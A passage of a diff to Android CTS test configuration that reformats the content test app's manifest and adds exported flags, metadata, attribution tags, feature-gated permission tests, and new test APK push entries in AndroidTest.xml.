+    <uses-permission android:name="android.permission.AUTHENTICATE_ACCOUNTS"/>
+    <uses-permission android:name="android.permission.USE_CREDENTIALS"/>
+    <uses-permission android:name="android.permission.READ_SYNC_SETTINGS"/>
+    <uses-permission android:name="android.permission.WRITE_SYNC_SETTINGS"/>
+    <uses-permission android:name="android.permission.READ_SYNC_STATS"/>
+    <uses-permission android:name="android.permission.READ_MEDIA_IMAGES"/>
+    <uses-permission android:name="android.permission.WRITE_SETTINGS"/>
+    <uses-permission android:name="android.permission.SET_WALLPAPER"/>
+    <uses-permission android:name="android.permission.BROADCAST_STICKY"/>
+    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
+    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
+    <uses-permission android:name="android.content.cts.permission.TEST_GRANTED"
+                     android:usesPermissionFlags="neverForLocation" />
+    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
+    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
 
     <!-- Used for ContextTest#testCreatePackageContextAsUser -->
-    <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS" />
+    <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS"/>
 
     <!-- Used for PackageManager test, don't delete this INTERNET permission -->
-    <uses-permission android:name="android.permission.INTERNET" />
+    <uses-permission android:name="android.permission.INTERNET"/>
 
     <!-- Used for PackageManager test, don't delete this permission-tree -->
     <permission-tree android:name="android.content.cts.permission.TEST_DYNAMIC"
-                    android:label="Test Tree"/>
+         android:label="Test Tree"/>
 
     <!-- Used for PackageManager test, don't delete this permission-group -->
     <permission-group android:name="android.permission-group.COST_MONEY"
-            android:label="@string/permlab_costMoney"
-            android:description="@string/permdesc_costMoney"/>
+         android:label="@string/permlab_costMoney"
+         android:description="@string/permdesc_costMoney"/>
 
     <permission android:name="android.content.cts.CALL_ABROAD_PERMISSION"
-                android:label="@string/permlab_callAbroad"
-                android:description="@string/permdesc_callAbroad"
-                android:protectionLevel="normal"
-                android:permissionGroup="android.permission-group.COST_MONEY" />
+         android:label="@string/permlab_callAbroad"
+         android:description="@string/permdesc_callAbroad"
+         android:protectionLevel="normal"
+         android:permissionGroup="android.permission-group.COST_MONEY"/>
 
     <permission android:name="android.content.cts.REQUIRED_FEATURE_DEFINED"
-        android:protectionLevel="normal" />
+         android:protectionLevel="normal"/>
+
+    <permission android:name="android.content.cts.REQUIRED_FEATURE_DEFINED_2"
+         android:protectionLevel="normal"/>
 
     <permission android:name="android.content.cts.REQUIRED_FEATURE_UNDEFINED"
-        android:protectionLevel="normal" />
+         android:protectionLevel="normal"/>
 
     <permission android:name="android.content.cts.REQUIRED_NOT_FEATURE_DEFINED"
-        android:protectionLevel="normal" />
+         android:protectionLevel="normal"/>
 
     <permission android:name="android.content.cts.REQUIRED_NOT_FEATURE_UNDEFINED"
-        android:protectionLevel="normal" />
+         android:protectionLevel="normal"/>
+
+    <permission android:name="android.content.cts.REQUIRED_NOT_FEATURE_UNDEFINED_2"
+         android:protectionLevel="normal"/>
 
     <permission android:name="android.content.cts.REQUIRED_MULTI_DENY"
-        android:protectionLevel="normal" />
+         android:protectionLevel="normal"/>
+
+    <permission android:name="android.content.cts.REQUIRED_MULTI_DENY_2"
+                android:protectionLevel="normal"/>
+
+    <permission android:name="android.content.cts.REQUIRED_MULTI_DENY_3"
+                android:protectionLevel="normal"/>
 
     <permission android:name="android.content.cts.REQUIRED_MULTI_GRANT"
-        android:protectionLevel="normal" />
+         android:protectionLevel="normal"/>
+
+    <permission android:name="android.content.cts.REQUIRED_MULTI_GRANT_2"
+         android:protectionLevel="normal"/>
+
+    <permission android:name="android.content.cts.REQUIRED_MULTI_GRANT_3"
+                android:protectionLevel="normal"/>
 
     <uses-permission android:name="android.content.cts.REQUIRED_FEATURE_DEFINED"
-        android:requiredFeature="android.software.cts" />
+         android:requiredFeature="android.software.cts"/>
+
+    <uses-permission android:name="android.content.cts.REQUIRED_FEATURE_DEFINED_2">
+        <required-feature android:name="android.software.cts"/>
+    </uses-permission>
 
     <uses-permission android:name="android.content.cts.REQUIRED_FEATURE_UNDEFINED"
-        android:requiredFeature="android.software.cts.undefined" />
+         android:requiredFeature="android.software.cts.undefined"/>
+
+    <uses-permission android:name="android.content.cts.REQUIRED_FEATURE_UNDEFINED">
+        <required-feature android:name="android.software.cts.undefined"/>
+    </uses-permission>
 
     <uses-permission android:name="android.content.cts.REQUIRED_NOT_FEATURE_DEFINED"
-        android:requiredNotFeature="android.software.cts" />
+         android:requiredNotFeature="android.software.cts"/>
+
+    <uses-permission android:name="android.content.cts.REQUIRED_NOT_FEATURE_DEFINED">
+        <required-not-feature android:name="android.software.cts"/>
+    </uses-permission>
 
     <uses-permission android:name="android.content.cts.REQUIRED_NOT_FEATURE_UNDEFINED"
-        android:requiredNotFeature="android.software.cts.undefined" />
+         android:requiredNotFeature="android.software.cts.undefined"/>
+
+    <uses-permission android:name="android.content.cts.REQUIRED_NOT_FEATURE_UNDEFINED_2">
+        <required-not-feature android:name="android.software.cts.undefined"/>
+    </uses-permission>
 
     <uses-permission android:name="android.content.cts.REQUIRED_MULTI_DENY"
-        android:requiredFeature="android.software.cts.undefined"
-        android:requiredNotFeature="android.software.cts" />
+         android:requiredFeature="android.software.cts.undefined"
+         android:requiredNotFeature="android.software.cts"/>
 
     <uses-permission android:name="android.content.cts.REQUIRED_MULTI_DENY"
-        android:requiredFeature="android.software.cts"
-        android:requiredNotFeature="android.software.cts" />
+         android:requiredFeature="android.software.cts"
+         android:requiredNotFeature="android.software.cts"/>
 
     <uses-permission android:name="android.content.cts.REQUIRED_MULTI_DENY"
-        android:requiredFeature="android.software.cts.undefined"
-        android:requiredNotFeature="android.software.cts.undefined" />
+         android:requiredFeature="android.software.cts.undefined"
+         android:requiredNotFeature="android.software.cts.undefined"/>
+
+    <uses-permission android:name="android.content.cts.REQUIRED_MULTI_DENY_2">
+        <required-feature android:name="android.software.cts.undefined"/>
+        <required-not-feature android:name="android.software.cts"/>
+    </uses-permission>
+
+    <uses-permission android:name="android.content.cts.REQUIRED_MULTI_DENY_2">
+        <required-feature android:name="android.software.cts"/>
+        <required-not-feature android:name="android.software.cts"/>
+    </uses-permission>
+
+    <uses-permission android:name="android.content.cts.REQUIRED_MULTI_DENY_2">
+        <required-feature android:name="android.software.cts.undefined"/>
+        <required-not-feature android:name="android.software.cts.undefined"/>
+    </uses-permission>
+
+    <uses-permission android:name="android.content.cts.REQUIRED_MULTI_DENY_2">
+        <required-feature android:name="android.software.cts"/>
+        <required-feature android:name="android.software.cts.undefined"/>
+    </uses-permission>
+
+    <uses-permission android:name="android.content.cts.REQUIRED_MULTI_DENY_2">
+        <required-not-feature android:name="android.software.cts"/>
+        <required-not-feature android:name="android.software.cts.undefined"/>
+    </uses-permission>
+
+    <uses-permission android:name="android.content.cts.REQUIRED_MULTI_DENY_2">
+        <required-feature android:name="android.software.cts"/>
+        <required-feature android:name="android.software.cts.another.undefined"/>
+        <required-not-feature android:name="android.software.cts.undefined"/>
+    </uses-permission>
+
+    <uses-permission android:name="android.content.cts.REQUIRED_MULTI_DENY_3"
+         android:requiredFeature="android.software.cts">
+        <required-not-feature android:name="android.software.cts"/>
+    </uses-permission>
+
+    <uses-permission android:name="android.content.cts.REQUIRED_MULTI_DENY_3"
+         android:requiredFeature="android.software.cts.undefined">
+        <required-not-feature android:name="android.software.cts.undefined"/>
+    </uses-permission>
+
+    <uses-permission android:name="android.content.cts.REQUIRED_MULTI_DENY_3"
+         android:requiredNotFeature="android.software.cts">
+        <required-feature android:name="android.software.cts"/>
+    </uses-permission>
+
+    <uses-permission android:name="android.content.cts.REQUIRED_MULTI_DENY_3"
+         android:requiredNotFeature="android.software.cts.undefined">
+        <required-feature android:name="android.software.cts.undefined"/>
+    </uses-permission>
 
     <uses-permission android:name="android.content.cts.REQUIRED_MULTI_GRANT"
-        android:requiredFeature="android.software.cts"
-        android:requiredNotFeature="android.software.cts.undefined" />
+         android:requiredFeature="android.software.cts"
+         android:requiredNotFeature="android.software.cts.undefined"/>
+
+    <uses-permission android:name="android.content.cts.REQUIRED_MULTI_GRANT_2">
+        <required-feature android:name="android.software.cts"/>
+        <required-not-feature android:name="android.software.cts.undefined"/>
+        <required-not-feature android:name="android.software.cts.another.undefined"/>
+    </uses-permission>
+
+    <uses-permission android:name="android.content.cts.REQUIRED_MULTI_GRANT_3"
+         android:requiredFeature="android.software.cts"
+         android:requiredNotFeature="android.software.cts.undefined">
+        <required-not-feature android:name="android.software.cts.another.undefined"/>
+    </uses-permission>
 
     <permission android:name="android.content.cts.SIGNATURE_PERMISSION"
-        android:protectionLevel="signature" />
+         android:protectionLevel="signature"/>
 
-    <uses-permission android:name="android.content.cts.SIGNATURE_PERMISSION" />
+    <uses-permission android:name="android.content.cts.SIGNATURE_PERMISSION"/>
 
     <!-- Used for PackageManager test, don't delete! -->
     <uses-configuration/>
-    <uses-feature android:name="android.hardware.camera" />
-    <uses-feature android:glEsVersion="0x00020000" />
+    <uses-feature android:name="android.hardware.camera"/>
+    <uses-feature android:glEsVersion="0x00020000"/>
     <feature-group/>
     <feature-group>
-        <uses-feature android:glEsVersion="0x00030000" />
-        <uses-feature android:name="android.hardware.location" />
+        <uses-feature android:glEsVersion="0x00030000"/>
+        <uses-feature android:name="android.hardware.location"/>
     </feature-group>
     <feature-group>
-        <uses-feature android:glEsVersion="0x00010001" />
-        <uses-feature android:name="android.hardware.camera" />
+        <uses-feature android:glEsVersion="0x00010001"/>
+        <uses-feature android:name="android.hardware.camera"/>
     </feature-group>
 
+    <attribution android:tag="attribution_tag_one"
+                 android:label="@string/attribution_label_one" />
+
+    <attribution android:tag="attribution_tag_two"
+                 android:label="@string/attribution_label_two" />
+
     <application android:label="Android TestCase"
-                android:icon="@drawable/size_48x48"
-                android:maxRecents="1"
-                android:multiArch="true"
-                android:name="android.content.cts.MockApplication"
-                android:supportsRtl="true"
-                android:appCategory="productivity">
-        <activity android:name="android.content.cts.MockActivity">
+         android:icon="@drawable/size_48x48"
+         android:maxRecents="1"
+         android:multiArch="true"
+         android:name="android.content.cts.MockApplication"
+         android:supportsRtl="true"
+         android:appCategory="productivity">
+
+        <!-- Application level metadata -->
+        <meta-data android:name="android.content.cts.string"
+                   android:value="foo"/>
+        <meta-data android:name="android.content.cts.boolean"
+                   android:value="true"/>
+        <meta-data android:name="android.content.cts.integer"
+                   android:value="100"/>
+        <meta-data android:name="android.content.cts.float"
+                   android:value="100.1"/>
+        <meta-data android:name="android.content.cts.color"
+                   android:value="#ff000000"/>
+        <meta-data android:name="android.content.cts.reference"
+                   android:resource="@xml/metadata"/>
+
+        <activity android:name="android.content.cts.MockActivity"
+             android:exported="true">
             <meta-data android:name="android.app.alias"
-                android:resource="@xml/alias" />
+                 android:resource="@xml/alias"/>
             <meta-data android:name="android.app.intent.filter"
-                android:resource="@xml/intentfilter" />
+                 android:resource="@xml/intentfilter"/>
             <meta-data android:name="android.app.intent"
-                       android:resource="@xml/intent" />
+                 android:resource="@xml/intent"/>
+
+            <!-- Activity level metadata -->
+            <meta-data android:name="android.content.cts.string"
+                       android:value="foo"/>
+            <meta-data android:name="android.content.cts.boolean"
+                       android:value="true"/>
+            <meta-data android:name="android.content.cts.integer"
+                       android:value="100"/>
+            <meta-data android:name="android.content.cts.float"
+                       android:value="100.1"/>
+            <meta-data android:name="android.content.cts.color"
+                       android:value="#ff000000"/>
+            <meta-data android:name="android.content.cts.reference"
+                       android:resource="@xml/metadata"/>
             <intent-filter>
-                <action android:name="android.content.cts.action.TEST_ACTION" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.content.cts.category.TEST_CATEGORY" />
+                <action android:name="android.content.cts.action.TEST_ACTION"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.content.cts.category.TEST_CATEGORY"/>
             </intent-filter>
         </activity>
 
         <activity-alias android:name="android.content.cts.MockActivity2"
-                android:targetActivity="android.content.cts.MockActivity">
+             android:targetActivity="android.content.cts.MockActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.content.cts.action.TEST_ACTION" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="android.content.cts.action.TEST_ACTION"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </activity-alias>
 
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
-        <service android:name="android.content.cts.MockContextService" />
+        <service android:name="android.content.cts.MockContextService"/>
         <activity android:name=".content.ContextCtsActivity"
-            android:label="ContextCtsActivity">
+             android:label="ContextCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
+                <action android:name="android.intent.action.MAIN"/>
             </intent-filter>
         </activity>
 
-        <receiver android:name="android.content.cts.MockReceiverFirst">
+        <receiver android:name="android.content.cts.MockReceiverFirst"
+             android:exported="true">
             <intent-filter android:priority="3">
-                <action android:name="android.content.cts.BroadcastReceiverTest.BROADCAST_TESTABORT" />
+                <action android:name="android.content.cts.BroadcastReceiverTest.BROADCAST_TESTABORT"/>
             </intent-filter>
         </receiver>
-        <receiver android:name="android.content.cts.MockReceiverAbort">
+        <receiver android:name="android.content.cts.MockReceiverAbort"
+             android:exported="true">
             <intent-filter android:priority="2">
-                <action android:name="android.content.cts.BroadcastReceiverTest.BROADCAST_TESTABORT" />
+                <action android:name="android.content.cts.BroadcastReceiverTest.BROADCAST_TESTABORT"/>
             </intent-filter>
         </receiver>
         <receiver android:name="android.content.cts.MockReceiver"
-                android:permission="android.content.cts.SIGNATURE_PERMISSION">
+             android:permission="android.content.cts.SIGNATURE_PERMISSION"
+             android:exported="true">
+
+            <!-- Receiver level metadata -->
+            <meta-data android:name="android.content.cts.string"
+                       android:value="foo"/>
+            <meta-data android:name="android.content.cts.boolean"
+                       android:value="true"/>
+            <meta-data android:name="android.content.cts.integer"
+                       android:value="100"/>
+            <meta-data android:name="android.content.cts.float"
+                       android:value="100.1"/>
+            <meta-data android:name="android.content.cts.color"
+                       android:value="#ff000000"/>
+            <meta-data android:name="android.content.cts.reference"
+                       android:resource="@xml/metadata"/>
+
             <intent-filter android:priority="1">
-                <action android:name="android.content.cts.BroadcastReceiverTest.BROADCAST_MOCKTEST" />
-                <action android:name="android.content.cts.BroadcastReceiverTest.BROADCAST_TESTABORT" />
-                <action android:name="android.content.cts.ContextTest.BROADCAST_TESTORDER" />
+                <action android:name="android.content.cts.BroadcastReceiverTest.BROADCAST_MOCKTEST"/>
+                <action android:name="android.content.cts.BroadcastReceiverTest.BROADCAST_TESTABORT"/>
+                <action android:name="android.content.cts.ContextTest.BROADCAST_TESTORDER"/>
             </intent-filter>
         </receiver>
 
         <!-- Receiver that will be explicitly disabled at runtime -->
         <receiver android:name="android.content.cts.MockReceiverDisableable"
-                android:enabled="true">
+             android:enabled="true"
+             android:exported="true">
             <intent-filter android:priority="1">
-                <action android:name="android.content.cts.BroadcastReceiverTest.BROADCAST_DISABLED" />
+                <action android:name="android.content.cts.BroadcastReceiverTest.BROADCAST_DISABLED"/>
             </intent-filter>
         </receiver>
 
         <activity android:name="android.content.cts.AvailableIntentsActivity"
-            android:label="AvailableIntentsActivity">
+             android:label="AvailableIntentsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <!--Test for PackageManager-->
         <activity android:name="android.content.pm.cts.TestPmActivity"
-                android:icon="@drawable/start"
-                android:launchMode="singleTop">
+             android:icon="@drawable/start"
+             android:launchMode="singleTop"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.PMTEST" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.PMTEST"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
-            <meta-data android:name="android.content.pm.cts.xmltest" android:resource="@xml/pm_test" />
+            <meta-data android:name="android.content.pm.cts.xmltest"
+                 android:resource="@xml/pm_test"/>
         </activity>
-        <activity android:name="android.content.pm.cts.TestPmCompare">
+        <activity android:name="android.content.pm.cts.TestPmCompare"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.INFO" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.INFO"/>
             </intent-filter>
         </activity>
         <!--Test for PackageManager-->
         <service android:name="android.content.pm.cts.TestPmService"
-            android:permission="android.content.cts.CALL_ABROAD_PERMISSION">
+             android:permission="android.content.cts.CALL_ABROAD_PERMISSION"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.content.pm.cts.activity.PMTEST_SERVICE" />
+                <action android:name="android.content.pm.cts.activity.PMTEST_SERVICE"/>
             </intent-filter>
         </service>
         <!--Test for PackageManager-->
-        <receiver android:name="android.content.pm.cts.PmTestReceiver">
+        <receiver android:name="android.content.pm.cts.PmTestReceiver"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.content.pm.cts.PackageManagerTest.PMTEST_RECEIVER" />
+                <action android:name="android.content.pm.cts.PackageManagerTest.PMTEST_RECEIVER"/>
             </intent-filter>
         </receiver>
 
         <activity android:name="android.content.pm.cts.LauncherMockActivity"
-                  android:enabled="true">
+             android:enabled="true"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.HOME" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.HOME"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </activity>
 
         <!--Used by test for LauncherApps-->
         <activity-alias android:name="android.content.pm.cts.MockActivity_Disabled"
-            android:targetActivity="android.content.cts.MockActivity"
-            android:enabled="false">
+             android:targetActivity="android.content.cts.MockActivity"
+             android:enabled="false"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.content.cts.action.TEST_ACTION" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="android.content.cts.action.TEST_ACTION"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </activity-alias>
 
         <!-- Used for PackageManager test, don't delete this MockContentProvider provider -->
-        <provider android:name="android.content.cts.MockContentProvider" android:authorities="ctstest"
-            android:multiprocess="false" />
+        <provider android:name="android.content.cts.MockContentProvider"
+             android:authorities="ctstest"
+             android:multiprocess="false">
+            <!-- Provider level metadata -->
+            <meta-data android:name="android.content.cts.string"
+                       android:value="foo"/>
+            <meta-data android:name="android.content.cts.boolean"
+                       android:value="true"/>
+            <meta-data android:name="android.content.cts.integer"
+                       android:value="100"/>
+            <meta-data android:name="android.content.cts.float"
+                       android:value="100.1"/>
+            <meta-data android:name="android.content.cts.color"
+                       android:value="#ff000000"/>
+            <meta-data android:name="android.content.cts.reference"
+                       android:resource="@xml/metadata"/>
+        </provider>
         <provider android:name="android.content.cts.MockSRSProvider"
-                  android:authorities="android.content.cts.MockSRSProvider"
-                  android:exported="false"
-                  android:multiprocess="false" />
+             android:authorities="android.content.cts.MockSRSProvider"
+             android:exported="false"
+             android:multiprocess="false"/>
         <provider android:name="android.content.cts.DummyProvider"
-            android:authorities="android.content.cts.dummyprovider"
-            android:multiprocess="true" />
+             android:authorities="android.content.cts.dummyprovider"
+             android:multiprocess="true"/>
         <provider android:name="android.content.cts.MockRemoteContentProvider"
-            android:authorities="remotectstest"
-            android:process=":remoteprovider" android:multiprocess="false" />
+             android:authorities="remotectstest"
+             android:process=":remoteprovider"
+             android:multiprocess="false"/>
         <provider android:name="androidx.core.content.FileProvider"
-            android:authorities="android.content.cts.fileprovider"
-            android:grantUriPermissions="true">
-            <meta-data
-                android:name="android.support.FILE_PROVIDER_PATHS"
-                android:resource="@xml/file_paths" />
+             android:authorities="android.content.cts.fileprovider"
+             android:grantUriPermissions="true">
+            <meta-data android:name="android.support.FILE_PROVIDER_PATHS"
+                 android:resource="@xml/file_paths"/>
         </provider>
 
         <provider android:name="android.content.cts.TestPagingContentProvider"
-            android:authorities="android.content.cts.testpagingprovider"
-            android:process=":testpagingprovider"
-            android:multiprocess="false" />
+             android:authorities="android.content.cts.testpagingprovider"
+             android:process=":testpagingprovider"
+             android:multiprocess="false"/>
 
         <provider android:name="android.content.cts.MockBuggyProvider"
-                  android:authorities="android.content.cts.mockbuggyprovider"
-                  android:process=":mockbuggyprovider"
-                  android:multiprocess="false" />
+             android:authorities="android.content.cts.mockbuggyprovider"
+             android:process=":mockbuggyprovider"
+             android:multiprocess="false"/>
 
-        <service android:name="android.content.cts.MockService" />
+        <service android:name="android.content.cts.MockService">
+            <!-- Service level metadata -->
+            <meta-data android:name="android.content.cts.string"
+                       android:value="foo"/>
+            <meta-data android:name="android.content.cts.boolean"
+                       android:value="true"/>
+            <meta-data android:name="android.content.cts.integer"
+                       android:value="100"/>
+            <meta-data android:name="android.content.cts.float"
+                       android:value="100.1"/>
+            <meta-data android:name="android.content.cts.color"
+                       android:value="#ff000000"/>
+            <meta-data android:name="android.content.cts.reference"
+                       android:resource="@xml/metadata"/>
+        </service>
 
-        <service android:name="android.content.cts.MockSyncAdapterService" android:exported="true">
+        <service android:name="android.content.cts.MockSyncAdapterService"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.content.SyncAdapter" />
+                <action android:name="android.content.SyncAdapter"/>
             </intent-filter>
 
             <meta-data android:name="android.content.SyncAdapter"
-                       android:resource="@xml/syncadapter" />
+                 android:resource="@xml/syncadapter"/>
         </service>
 
-        <service android:name="android.content.cts.MockAccountService" android:exported="true"
-                 >
+        <service android:name="android.content.cts.MockAccountService"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.accounts.AccountAuthenticator" />
+                <action android:name="android.accounts.AccountAuthenticator"/>
             </intent-filter>
 
             <meta-data android:name="android.accounts.AccountAuthenticator"
-                       android:resource="@xml/authenticator" />
+                 android:resource="@xml/authenticator"/>
         </service>
 
         <activity android:name="android.content.cts.ClipboardManagerListenerActivity"/>
 
         <activity android:name="android.content.cts.ImageCaptureActivity"
-                  android:exported="true">
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.media.action.IMAGE_CAPTURE" />
-                <action android:name="android.media.action.IMAGE_CAPTURE_SECURE" />
-                <action android:name="android.media.action.VIDEO_CAPTURE" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="android.media.action.IMAGE_CAPTURE"/>
+                <action android:name="android.media.action.IMAGE_CAPTURE_SECURE"/>
+                <action android:name="android.media.action.VIDEO_CAPTURE"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.content.cts.ReadableFileReceiverActivity"
-                  android:exported="true">
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.SEND" />
-                <action android:name="android.intent.action.SEND_MULTIPLE" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="android.intent.action.SEND"/>
+                <action android:name="android.intent.action.SEND_MULTIPLE"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </activity>
 
-        <provider
-                android:name="android.content.cts.CursorWindowContentProvider"
-                android:authorities="cursorwindow.provider"
-                android:exported="true"
-                android:process=":providerProcess">
+        <provider android:name="android.content.cts.CursorWindowContentProvider"
+             android:authorities="cursorwindow.provider"
+             android:exported="true"
+             android:process=":providerProcess">
         </provider>
 
         <activity android:name="com.android.cts.content.StubActivity"/>
 
-        <service android:name="com.android.cts.content.NotAlwaysSyncableSyncService">
+        <service android:name="com.android.cts.content.NotAlwaysSyncableSyncService"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.content.SyncAdapter"/>
             </intent-filter>
             <meta-data android:name="android.content.SyncAdapter"
-                android:resource="@xml/not_always_syncable_account_access_adapter" />
+                 android:resource="@xml/not_always_syncable_account_access_adapter"/>
         </service>
 
-        <service android:name="com.android.cts.content.AlwaysSyncableSyncService">
+        <service android:name="com.android.cts.content.AlwaysSyncableSyncService"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.content.SyncAdapter"/>
             </intent-filter>
             <meta-data android:name="android.content.SyncAdapter"
-                android:resource="@xml/always_syncable_account_access_adapter" />
+                 android:resource="@xml/always_syncable_account_access_adapter"/>
         </service>
 
-	<activity android:name="com.android.cts.content.StubCameraIntentHandlerActivity">
+	<activity android:name="com.android.cts.content.StubCameraIntentHandlerActivity"
+    	 android:exported="true">
            <intent-filter>
-                <action android:name="android.media.action.IMAGE_CAPTURE" />
-                <action android:name="android.media.action.IMAGE_CAPTURE_SECURE" />
-                <action android:name="android.media.action.VIDEO_CAPTURE" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="android.media.action.IMAGE_CAPTURE"/>
+                <action android:name="android.media.action.IMAGE_CAPTURE_SECURE"/>
+                <action android:name="android.media.action.VIDEO_CAPTURE"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
 	</activity>
 
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.content.cts"
-                     android:label="CTS tests of android.content">
+         android:targetPackage="android.content.cts"
+         android:label="CTS tests of android.content">
         <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 
     <instrumentation android:name="android.content.pm.cts.TestPmInstrumentation"
-        android:targetPackage="android"
-        android:label="PackageManager Instrumentation Test" />
+         android:targetPackage="android"
+         android:label="PackageManager Instrumentation Test"/>
 </manifest>
-
diff --git a/tests/tests/content/AndroidTest.xml b/tests/tests/content/AndroidTest.xml
index 7c0f3ac..2ccc20e 100644
--- a/tests/tests/content/AndroidTest.xml
+++ b/tests/tests/content/AndroidTest.xml
@@ -35,6 +35,10 @@
         <option name="cleanup" value="true" />
         <option name="push" value="CtsContentTestCases.apk->/data/local/tmp/cts/content/CtsContentTestCases.apk" />
         <option name="push" value="CtsContentEmptyTestApp.apk->/data/local/tmp/cts/content/CtsContentEmptyTestApp.apk" />
+        <option name="push" value="CtsContentLongPackageNameTestApp.apk->/data/local/tmp/cts/content/CtsContentLongPackageNameTestApp.apk" />
+        <option name="push" value="CtsContentLongSharedUserIdTestApp.apk->/data/local/tmp/cts/content/CtsContentLongSharedUserIdTestApp.apk" />
+        <option name="push" value="CtsContentMaxPackageNameTestApp.apk->/data/local/tmp/cts/content/CtsContentMaxPackageNameTestApp.apk" />
+        <option name="push" value="CtsContentMaxSharedUserIdTestApp.apk->/data/local/tmp/cts/content/CtsContentMaxSharedUserIdTestApp.apk" />
     </target_preparer>
 
     <target_preparer class="com.android.tradefed.targetprep.PushFilePreparer">
@@ -54,6 +58,8 @@
         <option name="push-file" key="HelloWorld5_xxhdpi-v4.apk.idsig" value="/data/local/tmp/cts/content/HelloWorld5_xxhdpi-v4.apk.idsig" />
         <option name="push-file" key="HelloWorld5_xxxhdpi-v4.apk" value="/data/local/tmp/cts/content/HelloWorld5_xxxhdpi-v4.apk" />
         <option name="push-file" key="HelloWorld5_xxxhdpi-v4.apk.idsig" value="/data/local/tmp/cts/content/HelloWorld5_xxxhdpi-v4.apk.idsig" />
+        <option name="push-file" key="HelloWorld5Profileable.apk" value="/data/local/tmp/cts/content/HelloWorld5Profileable.apk" />
+        <option name="push-file" key="HelloWorld5Profileable.apk.idsig" value="/data/local/tmp/cts/content/HelloWorld5Profileable.apk.idsig" />
         <option name="push-file" key="HelloWorld7.apk" value="/data/local/tmp/cts/content/HelloWorld7.apk" />
         <option name="push-file" key="HelloWorld7.apk.idsig" value="/data/local/tmp/cts/content/HelloWorld7.apk.idsig" />
         <option name="push-file" key="HelloWorld7_hdpi-v4.apk" value="/data/local/tmp/cts/content/HelloWorld7_hdpi-v4.apk" />
@@ -66,7 +72,26 @@
         <option name="push-file" key="HelloWorld7_xxhdpi-v4.apk.idsig" value="/data/local/tmp/cts/content/HelloWorld7_xxhdpi-v4.apk.idsig" />
         <option name="push-file" key="HelloWorld7_xxxhdpi-v4.apk" value="/data/local/tmp/cts/content/HelloWorld7_xxxhdpi-v4.apk" />
         <option name="push-file" key="HelloWorld7_xxxhdpi-v4.apk.idsig" value="/data/local/tmp/cts/content/HelloWorld7_xxxhdpi-v4.apk.idsig" />
-      </target_preparer>
+        <option name="push-file" key="HelloWorldShell.apk" value="/data/local/tmp/cts/content/HelloWorldShell.apk" />
+        <option name="push-file" key="HelloWorldShell.apk.idsig" value="/data/local/tmp/cts/content/HelloWorldShell.apk.idsig" />
+        <option name="push-file" key="CtsPkgInstallTinyAppV1.apk" value="/data/local/tmp/cts/content/CtsPkgInstallTinyAppV1.apk" />
+        <option name="push-file" key="CtsPkgInstallTinyAppV2V3V4.apk" value="/data/local/tmp/cts/content/CtsPkgInstallTinyAppV2V3V4.apk" />
+        <option name="push-file" key="CtsPkgInstallTinyAppV2V3V4.apk.idsig" value="/data/local/tmp/cts/content/CtsPkgInstallTinyAppV2V3V4.apk.idsig" />
+        <option name="push-file" key="CtsPkgInstallTinyAppV2V3V4.digests" value="/data/local/tmp/cts/content/CtsPkgInstallTinyAppV2V3V4.digests" />
+        <option name="push-file" key="CtsPkgInstallTinyAppV2V3V4.digests.signature" value="/data/local/tmp/cts/content/CtsPkgInstallTinyAppV2V3V4.digests.signature" />
